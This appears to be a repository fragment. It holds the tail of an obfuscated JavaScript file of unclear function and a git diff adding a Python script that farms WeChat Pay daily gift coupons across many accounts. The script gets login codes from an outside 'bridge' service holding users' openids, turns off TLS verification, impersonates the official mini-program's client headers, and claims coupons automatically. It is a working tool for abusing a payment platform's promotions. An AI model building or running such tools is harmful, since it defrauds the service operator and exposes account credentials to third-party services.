_0x40a896[_0x553f12(0x5a5,'oNRx')];_0x1fe974[_0x553f12(0x5ac,'VsQH')](_0x345cdf,_0x40a896)[_0x553f12(0x5a1,']Xq!')](_0x2727ed=>{const _0xb07e2=_0x553f12,{status:_0x2c5b92,request:_0x268ef5,headers:_0x2ff209,data:_0x2968a7}=_0x2727ed;_0x27897d[_0xb07e2(0x548,'[@5v')](_0x22d316,null,_0x268ef5,{'statusCode':_0x2c5b92,'headers':_0x2ff209,'body':_0x2968a7});})[_0x553f12(0x372,'4AWb')](_0x18bfc8=>_0x226271[_0x553f12(0x615,'7xMY')](_0x18bfc8));}}[_0x4e742f(0x161,'vIIW')](_0x11a0bc,_0xbe931c,_0x34d318=![]){const _0x13638c=_0x4e742f;if(_0x2214b3[_0x13638c(0x3db,')rc5')](_0x2214b3[_0x13638c(0x367,'n7BF')],_0x2214b3[_0x13638c(0x4ee,'A6yu')])){let _0x25d508=[];for(let _0x129f50 of Object[_0x13638c(0x384,'z**A')](_0x11a0bc)[_0x13638c(0x3d9,'7xMY')]()){let _0x366ebb=_0x11a0bc[_0x129f50];if(_0x2214b3[_0x13638c(0x2e0,'pY1!')](_0x366ebb,_0x34d318))_0x366ebb=_0x2214b3[_0x13638c(0x52e,'4AWb')](encodeURIComponent,_0x366ebb);_0x25d508[_0x13638c(0x4b6,'MruR')](_0x2214b3[_0x13638c(0x433,'q4F0')](_0x2214b3[_0x13638c(0x148,'MruR')](_0x129f50,'='),_0x366ebb));}return _0x25d508[_0x13638c(0x3ea,'PE3T')](_0xbe931c);}else{const _0x42f61a=_0x4d9632[_0x13638c(0x452,'n7BF')](_0x38f8c1);this[_0x13638c(0x229,'Pjwb')](_0x42f61a,_0x210c94,_0x27fbf4),_0x49330e=this[_0x13638c(0x619,'Db^u')](_0x160921[_0x13638c(0x3da,'MruR')](_0x42f61a),_0x274d07);}}[_0x4e742f(0x4fe,'cJCH')](_0x532423,_0x3d7445=![]){const _0x27ad96=_0x4e742f,_0x10f5ab={'YkfOk':_0x2214b3[_0x27ad96(0x29c,'^leF')]};if(_0x2214b3[_0x27ad96(0x2ae,'cJCH')](_0x2214b3[_0x27ad96(0x484,'vIIW')],_0x2214b3[_0x27ad96(0x564,'z**A')])){const _0x1ae467=_0x10f5ab[_0x27ad96(0x1a5,'nCuX')][_0x27ad96(0x2fc,')rc5')]('|');let _0x56cc8=0x0;while(!![]){switch(_0x1ae467[_0x56cc8++]){case'0':_0x7839d3[_0x27ad96(0x23f,')rc5')](this[_0x27ad96(0x62b,'PE3T')]+_0x27ad96(0x207,'NXvd'));continue;case'1':_0x1a9c40[_0x27ad96(0x2b9,'oC5F')](this,_0x2823da);continue;case'2':this[_0x27ad96(0x385,'azvf')]=_0x43ae48;continue;case'3':this[_0x27ad96(0x5d0,'^leF')]='';continue;case'4':this[_0x27ad96(0x303,'7hI#')]=new _0x146512()[_0x27ad96(0x178,'A6yu')]();continue;}break;}}else{let _0x3372e9={};for(let _0x23ed39 of _0x532423[_0x27ad96(0x60c,')M[x')]('&')){if(_0x2214b3[_0x27ad96(0x136,'pY1!')](_0x2214b3[_0x27ad96(0x50a,'ag4H')],_0x2214b3[_0x27ad96(0x473,'A6yu')]))_0xeeb82b[_0x27ad96(0x1ed,'x9pr')](_0xf050d8);else{if(!_0x23ed39)continue;let _0x5c2d31=_0x23ed39[_0x27ad96(0x445,'z**A')]('=');if(_0x2214b3[_0x27ad96(0x1c6,'M#Hj')](_0x5c2d31,-0x1))continue;let _0x44baf2=_0x23ed39[_0x27ad96(0x4b2,'oSR]')](0x0,_0x5c2d31),_0x3dabb5=_0x23ed39[_0x27ad96(0x5bf,'A6yu')](_0x2214b3[_0x27ad96(0x482,'MruR')](_0x5c2d31,0x1));if(_0x3d7445)_0x3dabb5=_0x2214b3[_0x27ad96(0x4da,'$IdN')](decodeURIComponent,_0x3dabb5);_0x3372e9[_0x44baf2]=_0x3dabb5;}}return _0x3372e9;}}[_0x4e742f(0x423,')M[x')](_0x74ac59,_0x5d3b8c=_0x4e742f(0x325,'cJCH')){const _0x1b8cce=_0x4e742f;let _0x4c4335='';for(let _0x16c856=0x0;_0x2214b3[_0x1b8cce(0x412,'azvf')](_0x16c856,_0x74ac59);_0x16c856++){_0x4c4335+=_0x5d3b8c[_0x1b8cce(0x3fd,'x9pr')](Math[_0x1b8cce(0x289,'xal4')](_0x2214b3[_0x1b8cce(0x28e,'!g)^')](Math[_0x1b8cce(0x1df,'NXvd')](),_0x5d3b8c[_0x1b8cce(0x536,'F[gW')])));}return _0x4c4335;}[_0x4e742f(0x59b,'x9pr')](_0x486928){const _0x5379a7=_0x4e742f;let _0x44c675=Math[_0x5379a7(0x3e6,'7hI#')](_0x2214b3[_0x5379a7(0x5d5,'ag4H')](Math[_0x5379a7(0x31e,'vIIW')](),_0x486928[_0x5379a7(0x3eb,'cJCH')]));return _0x486928[_0x44c675];}[_0x4e742f(0x179,'[#yz')](_0x41be97){return new Promise(_0x10d566=>setTimeout(_0x10d566,_0x41be97));}[_0x4e742f(0x587,'eudC')](_0xf58edd={}){const _0x5f2602=_0x4e742f;if(_0x2214b3[_0x5f2602(0x220,'8umv')](_0x2214b3[_0x5f2602(0x30a,'oSR]')],_0x2214b3[_0x5f2602(0x61a,'0MRg')])){if(_0x3b622d)_0x475fc8[_0x5f2602(0x1ce,'Pjwb')](new _0x16ea10(_0x3c34e5));}else{const _0x48bb48=new Date()[_0x5f2602(0x1ae,'vIIW')](),_0xdb92ee=_0x2214b3[_0x5f2602(0x4ec,'Ox(G')](_0x2214b3[_0x5f2602(0x5ec,'4AWb')](_0x48bb48,this[_0x5f2602(0x34d,'oC5F')]),0x3e8);console[_0x5f2602(0x1e5,'oC5F')]('\x0a'+this[_0x5f2602(0x2bc,'q4F0')]+_0x5f2602(0x495,'0MRg')+_0xdb92ee+_0x5f2602(0x404,'gkg]'));if(this[_0x5f2602(0x60d,'oC5F')]()||this[_0x5f2602(0x3df,'nCuX')]()||this[_0x5f2602(0x5a8,'Y&oW')]())_0x2214b3[_0x5f2602(0x333,'gkg]')]($done,_0xf58edd);}}}(_0x4160ab,_0x26385f);}var version_ = 'jsjiami.com.v7'; diff --git "a/wxapp/\346\217\220\347\216\260\345\205\215\350\264\271\345\210\270.py" "b/wxapp/\346\217\220\347\216\260\345\205\215\350\264\271\345\210\270.py" new file mode 100644 index 00000000..dbf11a6d --- /dev/null +++ "b/wxapp/\346\217\220\347\216\260\345\205\215\350\264\271\345\210\270.py" @@ -0,0 +1,328 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import secrets +import string +import sys +import time +from typing import Any + +import os +import urllib3 +import requests + +urllib3.disable_warnings() + + +# ── 账号 & 鉴权 ── +APPID = "wxdb3c0e388702f785" +OPENID = os.environ.get("wxtxopenids", "") # 多个账号用 & 分隔 +APIKEY = os.environ.get("wx_auth", "") + +# ── 桥接服务 ── +BRIDGE_BASE_URL = os.environ.get("wx_server_url", "") # 调用时自动拼接 /wx/code +BRIDGE_TIMEOUT = 40 + +# ── 领券策略 ── +CODE_COUNT = 1 # 每个账号获取的 code 数量,建议 1-3 个,过多可能导致登录失败 +TARGET_COUPON_ID: int | None = None # None=自动选未领取的券,或指定券ID + +# ── 请求参数 ── +API_TIMEOUT = 15 +DOMAIN = "https://discount.wxpapp.wechatpay.cn" +PAGE = "pages/gift/index" +MODULE_NAME = "mmpaytxbbsmp" +PAGE_FRAME_VERSION = "180" +SESSION_SCENE = "daily_reward" +USER_AGENT = ( + "Mozilla/5.0 (Linux; Android 13; Mobile) " + "AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 " + "Chrome/132.0.0.0 Mobile Safari/537.36 " + "MicroMessenger/8.0.50 NetType/WIFI Language/zh_CN " + "ABI/arm64 MiniProgramEnv/android" +) + + +class ClaimError(RuntimeError): + pass + +def getjscode(openid: str) -> list[str]: + url = f"{BRIDGE_BASE_URL}/wx/code" + params = {"userKey": openid, "openid": openid, "appid": APPID} + try: + resp = requests.post(url=url, json=params, headers={"auth": APIKEY}, timeout=BRIDGE_TIMEOUT, verify=False) + except requests.RequestException as err: + raise ClaimError(f"桥接服务请求失败:{err}") from err + + if resp.status_code != 200: + raise ClaimError(f"桥接服务返回 HTTP {resp.status_code}:{resp.text}") + + data = resp.json() + if not data.get("status"): + raise ClaimError(f"桥接服务返回失败:{data}") + + code = data.get("data", {}).get("code") + if not code: + raise ClaimError(f"桥接服务未返回 code:{data}") + return [code] + +def main() -> int: + try: + sys.stdout.reconfigure(encoding="utf-8") + except AttributeError: + pass + + openids = [item.strip() for item in OPENID.split("&") if item.strip()] + if not openids: + print("未提供有效的 openid") + return 1 + + ok_count = 0 + for index, openid in enumerate(openids, start=1): + prefix = f"🌸 账号[{index}]" + try: + result = run_account(openid) + print_success(prefix, openid, result) + ok_count += 1 + except Exception as err: + print(f"{prefix} ❌ 处理失败({mask_openid(openid)})") + print(f"{prefix} 错误:{err}") + + return 0 if ok_count == len(openids) else 1 + + +def run_account(openid: str) -> dict[str, Any]: + track_id = make_track_id() + session = requests.Session() + session.verify = False + + codes = getjscode(openid) + if not codes: + raise ClaimError("无法获取jscode") + + session_token, used_code_index = login_with_codes(session, codes, track_id) + coupons = query_coupons(session, session_token, track_id) + coupon = select_coupon(coupons) + + if coupon is None: + claimed_coupon = next((item for item in coupons if item.get("is_claimed")), None) + return { + "code_count": len(codes), + "used_code_index": used_code_index, + "status": "already_claimed" if claimed_coupon else "no_daily", + "coupon": claimed_coupon, + } + + if coupon.get("is_claimed"): + status = "already_claimed" + else: + claim_coupon(session, session_token, track_id, coupon) + status = "claimed" + + return { + "code_count": len(codes), + "used_code_index": used_code_index, + "status": status, + "coupon": coupon, + } + + +def login_with_codes(session: requests.Session, codes: list[str], track_id: str) -> tuple[str, int]: + errors: list[str] = [] + for index, code in enumerate(codes, start=1): + try: + data = api_get( + session, + "/txbbs-user/user/login", + headers=make_headers(track_id, jscode=code), + ) + token = data.get("session_token") + if not isinstance(token, str) or not token: + raise ClaimError(f"登录返回缺少 session_token:{data}") + return token, index + except Exception as err: + errors.append(f"第{index}个code失败:{err}") + raise ClaimError("全部 code 登录失败:" + ";".join(errors)) + + +def query_coupons(session: requests.Session, session_token: str, track_id: str) -> list[dict[str, Any]]: + data = api_get( + session, + "/txbbs-mall/coupon/querydailygiftcoupons", + headers=make_headers(track_id, session_token=session_token), + ) + items = data.get("coupon_items") + if not isinstance(items, list): + raise ClaimError(f"查询返回缺少 coupon_items:{data}") + return [item for item in items if isinstance(item, dict)] + + +def select_coupon(coupons: list[dict[str, Any]]) -> dict[str, Any] | None: + if TARGET_COUPON_ID is not None: + return next((item for item in coupons if coupon_id(item) == TARGET_COUPON_ID), None) + return next((item for item in coupons if not item.get("is_claimed") and coupon_id(item)), None) + + +def claim_coupon( + session: requests.Session, + session_token: str, + track_id: str, + coupon: dict[str, Any], +) -> None: + cid = coupon_id(coupon) + gift_type = coupon.get("daily_gift_type") + amount = coupon_face_value(coupon) + + if not isinstance(cid, int): + raise ClaimError(f"券缺少 coupon_id:{coupon}") + if not isinstance(gift_type, str) or not gift_type: + raise ClaimError(f"券缺少 daily_gift_type:{coupon}") + if not isinstance(amount, int): + raise ClaimError(f"券缺少 face_value:{coupon}") + + api_post( + session, + "/txbbs-mall/coupon/claimdailygiftcoupon", + headers=make_headers( + track_id, + session_token=session_token, + session_id=make_session_id(), + ), + json={ + "daily_gift_type": gift_type, + "coupon_id": cid, + "expected_send_amount": amount, + }, + ) + + +def print_success(prefix: str, openid: str, result: dict[str, Any]) -> None: + print(f"{prefix} ✅ 登录成功({mask_openid(openid)})") + print(f"{prefix} Code:共获取{result['code_count']}个,使用第{result['used_code_index']}个") + + coupon = result.get("coupon") + if not isinstance(coupon, dict): + print(f"{prefix} 未查询到每日额度") + return + + name = coupon_name(coupon) + amount = coupon_amount(coupon) + status = result.get("status") + + if status == "claimed": + print(f"{prefix} ✅ 领取成功:{name}") + print(f"{prefix} 到账额度:{amount}") + elif status == "already_claimed": + print(f"{prefix} 今日已领取:{name}") + print(f"{prefix} 当前额度:{amount}") + else: + print(f"{prefix} 未查询到每日额度") + + +def api_get(session: requests.Session, path: str, *, headers: dict[str, str]) -> dict[str, Any]: + response = session.get(f"{DOMAIN}{path}", headers=headers, timeout=API_TIMEOUT) + return unwrap_response(response, path) + + +def api_post( + session: requests.Session, + path: str, + *, + headers: dict[str, str], + json: dict[str, Any], +) -> dict[str, Any]: + response = session.post(f"{DOMAIN}{path}", headers=headers, json=json, timeout=API_TIMEOUT) + return unwrap_response(response, path) + + +def unwrap_response(response: requests.Response, action: str) -> dict[str, Any]: + try: + response.raise_for_status() + payload = response.json() + except Exception as err: + raise ClaimError(f"{action} 请求失败:{err},响应:{response.text}") from err + + if not isinstance(payload, dict): + raise ClaimError(f"{action} 返回格式异常:{payload!r}") + if payload.get("errcode") != 0: + raise ClaimError(f"{action} 返回失败:errcode={payload.get('errcode')},{payload}") + + data = payload.get("data") + return data if isinstance(data, dict) else {} + + +def make_headers( + track_id: str, + *, + jscode: str | None = None, + session_token: str | None = None, + session_id: str | None = None, +) -> dict[str, str]: + headers = { + "User-Agent": USER_AGENT, + "Content-Type": "application/json", + "X-Page": PAGE, + "X-Track-Id": track_id, + "xweb_xhr": "1", + "X-Module-Name": MODULE_NAME, + "X-Appid": APPID, + "Sec-Fetch-Site": "cross-site", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Dest": "empty", + "Referer": f"https://servicewechat.com/{APPID}/{PAGE_FRAME_VERSION}/page-frame.html", + "Accept-Language": "zh-CN,zh;q=0.9", + } + if jscode: + headers["jscode"] = jscode + if session_token: + headers["session-token"] = session_token + if session_id: + headers["session-id"] = session_id + return headers + + +def make_track_id() -> str: + return "T" + "".join(secrets.choice("0123456789ABCDEF") for _ in range(31)) + + +def make_session_id() -> str: + alphabet = string.ascii_lowercase + string.digits + random_part = "".join(secrets.choice(alphabet) for _ in range(10)) + return f"{SESSION_SCENE}-{int(time.time() * 1000)}-{random_part}" + + +def coupon_info(coupon: dict[str, Any]) -> dict[str, Any]: + value = coupon.get("coupon_info") + return value if isinstance(value, dict) else {} + + +def coupon_id(coupon: dict[str, Any]) -> int | None: + value = coupon_info(coupon).get("coupon_id") + return value if isinstance(value, int) else None + + +def coupon_face_value(coupon: dict[str, Any]) -> int | None: + value = coupon_info(coupon).get("face_value") + return value if isinstance(value, int) else None + + +def coupon_name(coupon: dict[str, Any]) -> str: + name = coupon_info(coupon).get("name") + if isinstance(name, str) and name: + return name + return f"coupon_id={coupon_id(coupon)}" + + +def coupon_amount(coupon: dict[str, Any]) -> str: + amount = coupon_face_value(coupon) + if not isinstance(amount, int): + return "未知额度" + return f"{amount // 100}元" if amount % 100 == 0 else f"{amount / 100:.2f}元" + + +def mask_openid(openid: str) -> str: + return openid if len(openid) <= 12 else f"{openid[:6]}...{openid[-4:]}" + + +if __name__ == "__main__": + raise SystemExit(main())